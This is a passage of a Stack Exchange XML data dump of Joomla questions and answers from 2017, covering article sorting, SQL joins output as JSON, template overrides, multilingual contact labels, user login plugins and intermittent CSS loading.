please help explain what is going on and how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="9402" LastEditorUserId="126" LastEditDate="2017-01-23T13:01:12.963" LastActivityDate="2018-02-06T09:23:17.190" Title="Cannot order articles in the correct order" Tags="|articles|category-blog|menu-parameters|sorting|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18924" PostTypeId="2" ParentId="18917" CreationDate="2017-01-23T20:30:29.050" Score="4" Body="&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;insertid();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;directly after executing. This should give you the last inserted id.&lt;/p&gt;&#xA;" OwnerDisplayName="user5421" LastActivityDate="2017-01-23T20:30:29.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18925" PostTypeId="2" ParentId="18916" CreationDate="2017-01-23T20:34:54.343" Score="0" Body="&lt;p&gt;Joomla has a build-in content history you are able to use in your custom component. maybe that helps you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Using_Content_History_in_your_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_Content_History_in_your_Component&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user5421" LastActivityDate="2017-01-23T20:34:54.343" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18926" PostTypeId="2" ParentId="16340" CreationDate="2017-01-23T20:43:04.497" Score="1" Body="&lt;p&gt;The arguments name is &quot;page&quot; not &quot;limitstart&quot;. From the docs it mans:&#xA;&lt;em&gt;&quot;An integer that determines the &quot;page&quot; of the content that is to be generated. Note that in the context of views that might not generate HTML output, a page is a reasonably abstract concept that depends on the context.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events/Content&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user5421" LastActivityDate="2017-01-23T20:43:04.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18927" PostTypeId="1" CreationDate="2017-01-24T00:41:05.693" Score="2" ViewCount="502" Body="&lt;p&gt;I am new to developing on Joomla and I am wondering if you feel it is necessary to use child themes when modifying a 3rd party template? I bought a template that I want to start modifying but am wondering if it's best to create a child theme first or is that only for if I am modifying the default templates provided by Joomla i.e. protostar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything to worry about if I do not use a child theme? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="9583" LastEditorUserId="126" LastEditDate="2017-01-26T06:01:47.883" LastActivityDate="2017-01-27T16:42:23.307" Title="Child theme necessary on purchased template?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18928" PostTypeId="1" CreationDate="2017-01-24T05:55:21.323" Score="2" ViewCount="1046" Body="&lt;p&gt;I wrote this query for getting data from 3 different tables which has one similar column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trouble is, it throws an error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;500 internal server error&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I need the output to be in the form of json, and the values from the task columns  should be child arrays (in the json).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know where the error is in this query.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $query2 = &quot;SELECT&#xA;                jos_mobile_contacts.contact_record_id,&#xA;                jos_mobile_contacts.firstName,&#xA;                jos_mobile_contacts.lastName,&#xA;                jos_mobile_contacts.mobiePhoneNumber,&#xA;                jos_mobile_contacts.officePhoneNumber,&#xA;                jos_mobile_contacts.contactType,&#xA;                jos_mobile_contacts.email,&#xA;                jos_mobile_contacts.address,&#xA;                jos_mobile_contacts.address2,&#xA;                jos_mobile_contacts.city,&#xA;                jos_mobile_contacts.state,&#xA;                jos_mobile_contacts.zip,&#xA;                jos_mobile_contacts.notes,&#xA;                jos_mobile_contacts.customfield1,&#xA;                jos_mobile_contacts.customfield2,&#xA;                jos_mobile_contacts.customfield3,&#xA;                jos_mobile_contacts.companyName,&#xA;                jos_mobile_contacts.title,&#xA;                jos_tasks.title,&#xA;                josi_tasks.priority,&#xA;                jos_tasks.description&#xA;            FROM jos_mobile_contacts&#xA;            INNER JOIN jos_tasks&#xA;            WHERE jos_mobile_contacts.registered_mobile_id ='453'&#xA;              and jos_tasks.registered_mobile_id ='453'&quot;;&#xA;&#xA;$db-&amp;gt;setQuery($query2);&#xA;$db-&amp;gt;query();&#xA;$numrows= $db-&amp;gt;getNumRows();&#xA;$rowsContacts = $db-&amp;gt;loadAssocList();&#xA;&#xA;if ($numrows &amp;lt;= 0 ) {&#xA;    $displayAction = &quot;display:none&quot;;&#xA;} else {&#xA;    foreach ($rowsContacts as $contactInfo) {&#xA;        $row_array['contactsId']= $contactInfo['contact_record_id'];&#xA;        $row_array['firstName']= $contactInfo['firstName'];&#xA;        $row_array['lastName']= $contactInfo['lastName'];&#xA;        $row_array['mobiePhoneNumber']= $contactInfo['mobiePhoneNumber'];&#xA;        $row_array['officePhoneNumber']= $contactInfo['officePhoneNumber'];&#xA;        $row_array['priority']= $contactInfo['priority'];&#xA;        $row_array['title']= $contactInfo['title'];&#xA;    }&#xA;    echo $row_array;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9584" LastEditorUserId="12352" LastEditDate="2019-01-28T05:11:32.273" LastActivityDate="2019-01-28T05:11:32.273" Title="Select data from multiple tables and output results as json" Tags="|mysql|database|" AnswerCount="1" CommentCount="4" ClosedDate="2019-01-29T09:15:41.200" ContentLicense="CC BY-SA 4.0" />
  <row Id="18930" PostTypeId="1" CreationDate="2017-01-24T08:00:59.490" Score="1" ViewCount="412" Body="&lt;p&gt;This is probably a difficult question to ask because I can't give a lot of information. When I open the edit screen in the admin-side of a module, it's being shown for a split second and then the page refreshes to a blank page with a select field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried to uninstall the admin template and reinstall, but the issue is still here. It happens with any admin template that I tried so far except the oldschool Hathor admin template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea where to look for the problem. I hope someone else encountered this issue before and has a solution ... or at least has an idea where to look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tell me if there is any information I can give to help clearify my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. I am running the latest Joomla version (3.6.5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My screenshot:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/J3FgP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J3FgP.jpg&quot; alt=&quot;screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9582" LastEditorUserId="12352" LastEditDate="2019-06-29T11:00:10.163" LastActivityDate="2019-06-29T11:00:10.163" Title="Can't edit my module, blank page with an select input" Tags="|joomla-3.x|module|cache|module-manager|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18931" PostTypeId="2" ParentId="18928" CreationDate="2017-01-24T08:21:53.933" Score="2" Body="&lt;p&gt;A 500 error isn't specific enough to know exactly what caused the crash but I see some issues in your code. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Firstly, your query only references 2 tables not 3 like you stated in your question so it may be completely wrong.&lt;/li&gt;&#xA;&lt;li&gt;Usually, the table prefix (jos_) would be replaced with #__. This way you can install your code on multiple sites with different database prefixes.&lt;/li&gt;&#xA;&lt;li&gt;$db-&gt;query() is deprecated and not necessary. $db-&gt;loadAssocList will perform the query anyway.&lt;/li&gt;&#xA;&lt;li&gt;You are using echo to output an array. Use json_encode to encode your array into a json string.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The exact cause of your 500 error could be any of the above, I suspect number 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't test the below code without access to your database but this should get you on the right track.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mobileid = 453;&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select('contacts.contact_record_id, contacts.firstName, &#xA;    contacts.lastName, contacts.mobiePhoneNumber, &#xA;    contacts.officePhoneNumber, contacts.contactType, &#xA;    contacts.email, contacts.address, contacts.address2, &#xA;    contacts.city, contacts.state, contacts.zip, &#xA;    contacts.notes, contacts.customfield1, contacts.customfield2,  &#xA;    contacts.customfield3, contacts.companyName, contacts.title, &#xA;    tasks.title, josi_tasks.priority, tasks.description')&#xA;    -&amp;gt;from('#__tasks AS tasks')&#xA;    -&amp;gt;innerJoin('#__mobile_contacts AS contacts ON tasks.registered_mobile_id = contacts.registered_mobile_id')&#xA;    -&amp;gt;where('tasks.registered_mobile_id = '.$mobileid);&#xA;&#xA;$db-&amp;gt;setQuery($query2);&#xA;$rowsContacts = $db-&amp;gt;loadAssocList();&#xA;&#xA;if (count($rowsContacts)){&#xA;    $displayAction = &quot;display:none&quot;;&#xA;} else {&#xA;    foreach ($rowsContacts as $contactInfo) {&#xA;        $row_array['contactsId']        = $contactInfo['contact_record_id'];&#xA;        $row_array['firstName']         = $contactInfo['firstName'];&#xA;        $row_array['lastName']          = $contactInfo['lastName'];&#xA;        $row_array['mobiePhoneNumber']  = $contactInfo['mobiePhoneNumber'];&#xA;        $row_array['officePhoneNumber'] = $contactInfo['officePhoneNumber'];&#xA;        $row_array['priority']          = $contactInfo['priority'];&#xA;        $row_array['title']             = $contactInfo['title'];&#xA;    }&#xA;    $output = json_encode($row_array);&#xA;    echo $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&#xA;Regards&#xA;John&lt;/p&gt;&#xA;" OwnerUserId="291" LastActivityDate="2017-01-24T08:21:53.933" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18933" PostTypeId="2" ParentId="18922" CreationDate="2017-01-24T08:47:38.807" Score="2" Body="&lt;p&gt;If you have your articles arranged in sub-categories they will be ordered by category first then by date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, in your menu item set Category order: No ordering, Article Order: Oldest first.&lt;/p&gt;&#xA;" OwnerUserId="291" LastActivityDate="2017-01-24T08:47:38.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18934" PostTypeId="2" ParentId="18930" CreationDate="2017-01-24T08:49:24.890" Score="1" Body="&lt;p&gt;I Fixed it by reinstalling Joomla core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First make a back-up.&#xA;Then components -&gt; Joomla -&gt; install &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. this is available form Joomla 3.6.x&lt;/p&gt;&#xA;" OwnerUserId="9582" LastActivityDate="2017-01-24T08:49:24.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18936" PostTypeId="2" ParentId="18906" CreationDate="2017-01-24T09:05:57.213" Score="2" Body="&lt;p&gt;I think you are part way there. Have a look in your components model for the &lt;strong&gt;getListQuery()&lt;/strong&gt; function. That is where the filter will be applied to the list before it is sent back to the view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the same file is a &lt;strong&gt;populateState()&lt;/strong&gt; function where you can get filter.countryname from the request and set it before the page is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at how this is done in com_content/models/articles.php for guidance on how to apply it to your code.&lt;/p&gt;&#xA;" OwnerUserId="291" LastActivityDate="2017-01-24T09:05:57.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18937" PostTypeId="2" ParentId="18921" CreationDate="2017-01-24T10:02:56.173" Score="3" Body="&lt;p&gt;Ok, so in your override, on lines &lt;strong&gt;47&lt;/strong&gt; and &lt;strong&gt;49&lt;/strong&gt;, you'll see &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; tags. Inside both of them, add the following data attribute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;data-category=&quot;&amp;lt;?php echo substr($this-&amp;gt;escape($item-&amp;gt;name), 0, 1); ?&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, on line &lt;strong&gt;111&lt;/strong&gt;, you'll see the closing &lt;code&gt;&amp;lt;/ul&amp;gt;&lt;/code&gt; tag. Directly below this, add the following to create you alphabet list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $alphas = range('A', 'Z');&#xA;    foreach ($alphas  as $item)&#xA;    {&#xA;        echo '&amp;lt;a href=&quot;#&quot; data-alpha=&quot;' . $item . '&quot;&amp;gt;' . $item . '&amp;lt;/a&amp;gt; | ';&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The directly below that, you can use JS to hide/show the category based on the letter that was clicked:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    JFactory::getDocument()-&amp;gt;addScriptDeclaration(&quot;&#xA;        jQuery(document).ready(function($) {&#xA;            $('a[data-alpha]').on('click', function(e) {&#xA;                e.preventDefault();&#xA;&#xA;                $('[data-category]').hide();&#xA;&#xA;                $('[data-category=\&quot;' + $(this).attr('data-alpha') + '\&quot;]').show();&#xA;            });&#xA;        });&#xA;    &quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Here's a Preview:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/r5FQa.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r5FQa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-01-24T10:02:56.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18938" PostTypeId="1" CreationDate="2017-01-24T11:03:33.900" Score="2" ViewCount="1082" Body="&lt;p&gt;I am writing a custom user plugin to write the session id and user id on a txtfile(This will be in turn used for some of my perl systems) after the user logins on Joomla. So far i have managed to create xml file and the main php file. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC');&#xA;jimport('joomla.plugin.plugin');&#xA;&#xA;echo &quot;hello&quot;; //this works as when I login I can see the message on top of the message which makes me believe that the user plugin is installed correctly&#xA;&#xA;// Whatever I try to print in the class, it seems to ignore.&#xA;class PlgUserperllogin extends JPlugin&#xA;{&#xA;    public function onUserAfterLogin($options)&#xA;    {&#xA;          $user = JFactory::getUser();&#xA;          $user_id = $user-&amp;gt;get('username');&#xA;          $usertype = $user-&amp;gt;get('usertype');&#xA;          $session = JFactory::getSession();&#xA;          $sessionid = $session-&amp;gt;getId();&#xA;          //write to txt file&#xA;          //set cookie for the same&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not sure what is missing. I would really appreciate any help on this.&lt;/p&gt;&#xA;" OwnerUserId="9586" LastEditorUserId="168" LastEditDate="2017-01-26T10:16:40.377" LastActivityDate="2017-01-27T09:24:29.187" Title="User Plugin onUserAfterLogin" Tags="|plugin|user|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18939" PostTypeId="1" AcceptedAnswerId="18951" CreationDate="2017-01-24T11:39:33.463" Score="0" ViewCount="358" Body="&lt;p&gt;I'm working on a multi-lingual joomla 3.6 site and I'm running into a problem with the contact page. The issue I'm running into is how to internationalize the labels on the contact page corresponding to the active language menu.&lt;/p&gt;&#xA;&lt;p&gt;I'm using the core contact component, mapped to both the German and an English Menus. I want to show the same contact information, but with language appropriate labels for &amp;quot;Address&amp;quot; and &amp;quot;Miscellaneous Information&amp;quot; to the language appropriate equivalents. I have looked into creating a separate display layout, but it looks like the com_contact html files use hard-coded variables for the labels I want to change. I'm looking into Language Overrides, but I'm not sure how to limit them to pages on the German menu.&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;The problem I have comes down to that not all of the content labels are translated.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TvwgN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TvwgN.png&quot; alt=&quot;langauge issues&quot; /&gt;&lt;/a&gt; The Contact form is translated, but the labels for Address, Phones, and Miscellaneous Information remain in English. I guess my question comes down to how to I make language specific changes to those labels.&lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-01-26T13:23:27.237" Title="How to translate labels for contact page on multi-language site?" Tags="|joomla-3.6|template-override|multilingual|translation|contact|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18940" PostTypeId="1" AcceptedAnswerId="28314" CreationDate="2017-01-24T16:03:09.120" Score="1" ViewCount="514" Body="&lt;p&gt;Joomla 3.6.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a menu item type &lt;em&gt;Contacts » List Contacts in a Category&lt;/em&gt;. I have 150+ contacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to override the default list limit on &lt;strong&gt;this page only&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently when the contact page loads it shows 25 contacts, which is the limit set in my Joomla global config. Is there any way I can change this so the complete list of 150+ loads?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a template override in &lt;code&gt;/html/com_contact/category/default_items.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2020-07-27T13:14:15.717" Title="List Limit Override" Tags="|joomla-3.x|overrides|contact|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18941" PostTypeId="2" ParentId="18921" CreationDate="2017-01-24T18:38:43.413" Score="2" Body="&lt;p&gt;I know this is not direct answer to your question, but there's free module that does exactly what you want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.aftercube.com/demo/free-extensions/ac-contacts&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.aftercube.com/demo/free-extensions/ac-contacts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2017-01-24T18:38:43.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18942" PostTypeId="2" ParentId="18930" CreationDate="2017-01-24T20:30:52.537" Score="1" Body="&lt;p&gt;This issue does not require to re-install Joomla. All it takes to fix this issue is make sure to clear Joomla's cache and browser cache and refresh the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a caching issue usually after updates, as some js have been changed for the backend, but the backend still loads old cached js.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-24T20:30:52.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18944" PostTypeId="1" AcceptedAnswerId="18947" CreationDate="2017-01-25T12:23:39.497" Score="2" ViewCount="1152" Body="&lt;ul&gt;&#xA;&lt;li&gt;Joomla 3.6.5&lt;/li&gt;&#xA;&lt;li&gt;Helix Framework Version: 1.8&lt;/li&gt;&#xA;&lt;li&gt;SEF &amp;amp; URL Rewriting enabled (No third party extensions installed)&lt;/li&gt;&#xA;&lt;li&gt;Helix3 Template &lt;a href=&quot;http://demo.joomshaper.com/?template=helix3&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;System &amp;amp; page cache off&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am facing a strange problem with my website in that sometimes the page will load with &lt;strong&gt;no styling&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't happen on every page refresh, It's very intermittent (I'd estimate about 1 in 20 page refreshes result in the page loading with no styling). I thought the issue was somehow related to my localhost (XAMPP) environment however I have since uploaded my site to a live hosting environment (JustHost) and the exact same thing is happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the issue likely to be template / framework related, or a conflict with another script? I've read that it could be related to &lt;code&gt;http / https&lt;/code&gt; or &lt;code&gt;htaccess&lt;/code&gt;? &lt;a href=&quot;http://pastebin.com/raw/xXmFcyUm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's a link&lt;/a&gt; to my htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to advice from @Lodder, I've inspected the css files in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; using devtools, and it seems that the issue is related to the following file;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;/dod-localnew/cache/com_templates/templates/shaper_helix3/2fe4c35dd273afe1ee67195bbd402c15.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I delete this file in devtools this is how my page looks with no styling. SO it would appear this file isn't loading each time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, I am testing in my local environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't get any official support for Helix3 from Joomshaper without a paid subscription.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips on troubleshooting would be greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2017-01-25T12:37:59.257" LastActivityDate="2017-01-25T15:36:09.527" Title="Site CSS Fails To Load (sometimes)" Tags="|joomla-3.x|templates|css|helix3|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18947" PostTypeId="2" ParentId="18944" CreationDate="2017-01-25T15:36:09.527" Score="1" Body="&lt;p&gt;The &lt;code&gt;.htaccess&lt;/code&gt; file is example the same as the one shipped with Joomla, so no changes have been made there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If both the system and page cache are disabled, then it may be a caching related issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check if a cached version of the CSS file is being called, open up your browser console, and inspect the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; element. You should see &lt;code&gt;cache/&lt;/code&gt; in the URL of the stylesheet.&#xA;If you do, check for a cache option in the template settings, as the main template providers tend to add their own....JoomShaper (Helix 3) being one of them.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In the following documentation, You'll see an option to disabled CSS Compression:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomshaper.com/documentation/helix3/advanced-settings&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomshaper.com/documentation/helix3/advanced-settings&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-01-25T15:36:09.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18949" PostTypeId="1" AcceptedAnswerId="18950" CreationDate="2017-01-25T19:33:35.567" Score="0" ViewCount="27" Body="&lt;p&gt;I recently updated my Joomla installation and noticed that the installer created folder named 1new on the server. Folder contains two subfolders; tmp and logs. Logs folder contains two files joomla_update.php and error.php.&#xA;Both files contains only some log information but error.php contains unsuccesfully login attempts too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&#xA;#&amp;lt;?php die('Forbidden.'); ?&amp;gt;&#xA;#Date: 2017-01-23 20:33:34 UTC&#xA;#Software: Joomla Platform 13.1.0 Stable [ Curiosity ] 24-Apr-2013 00:00 GMT&#xA;&#xA;#Fields: datetime   priority clientip   category    message&#xA;2017-01-23T20:33:34+00:00   INFO **.**.**.**    joomlafailure   Username and password do not match or you do not have an account yet.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the meaning of that folder and those logs?&lt;/p&gt;&#xA;" OwnerUserId="9594" LastEditorUserId="126" LastEditDate="2017-01-26T13:23:59.420" LastActivityDate="2017-01-26T13:23:59.420" Title="Folder 1new created during Joomla update" Tags="|joomla-3.x|update|configuration|global-configuration|logs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18950" PostTypeId="2" ParentId="18949" CreationDate="2017-01-25T20:10:48.777" Score="3" Body="&lt;p&gt;Are you sure this folder was created with the update?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What it looks to me is that your joomla is configured to have its &lt;code&gt;tmp&lt;/code&gt; and &lt;code&gt;logs&lt;/code&gt; directories inside this &lt;code&gt;1new&lt;/code&gt; folder, like so: &lt;code&gt;1new/logs&lt;/code&gt; &amp;amp; &lt;code&gt;1new/tmp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So review your configuration and see what is the value of the tmp and logs path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check it either from the &lt;strong&gt;global configuration&lt;/strong&gt; in the backend, or directly in the &lt;code&gt;configuration.php&lt;/code&gt;- in the last case look for the &lt;code&gt;$log_path&lt;/code&gt; &amp;amp; &lt;code&gt;$tmp_path&lt;/code&gt; variables.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-01-25T20:10:48.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18951" PostTypeId="2" ParentId="18939" CreationDate="2017-01-25T20:59:44.557" Score="0" Body="&lt;p&gt;Your additional language pack should contain your language's translations for the translatable strings of the labels.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Simply create your GER and ENG contacts in the contact manager, in the same manner as you do for your other content.&lt;/li&gt;&#xA;&lt;li&gt;Create menu items in both your ENG / GER menus, set their language and select the corresponding contact.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You should be ok.&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;I just tested the de-DE language pack and the single contact menu item is translated. If you have done all of the required steps to produce a multi-lingual contact page but you still get english translations, then maybe check your template's html overrides, as it might ships with an override for the contact page that contains no Translatable strings.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-01-26T11:22:37.540" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18952" PostTypeId="2" ParentId="18927" CreationDate="2017-01-25T23:19:51.497" Score="2" Body="&lt;p&gt;Generally it is totally fine to modify a non-core template in Joomla because generally Joomla templates are never upgraded.  However some Joomla templates contain lots of advanced functionality, especially ones that are designed to work with specific components, and will indeed require updating.  If you think you may update the theme in the future then you will need to duplicate the theme and modify the theme name in several spots as detailed here:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Modifying_a_Joomla!_Template&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Modifying_a_Joomla!_Template&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2017-01-26T04:59:01.977" LastActivityDate="2017-01-26T04:59:01.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18953" PostTypeId="2" ParentId="1158" CreationDate="2017-01-26T01:35:55.520" Score="1" Body="&lt;p&gt;The procedure I use has evolved over about 40 diverse Joomla 2.5 to 3.x mini migrations. It's not exactly &quot;one click&quot; but helps to avoid the most common pitfalls. Most of the websites I look after are using RocketTheme templates and there are Joomla 3.x equivalent versions of the Joomla 2.5 templates which has reduced template migration issues for me but your mileage may vary.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://downloads.joomla.org/technical-requirements&quot; rel=&quot;nofollow noreferrer&quot;&gt;Check hosting environment is suitable for Joomla 3.x&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run backup first!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Uninstall any extensions that are not Joomla 3.x compatible&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Update to Joomla 2.5.28 if not already on 2.5.28 and update all third party extensions to the latest available Joomla 2.5 versions&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/244/still-required-to-turn-remember-me-off-when-migrating-from-2-5-to-3-x&quot;&gt;Disable &quot;System - Remember Me&quot; 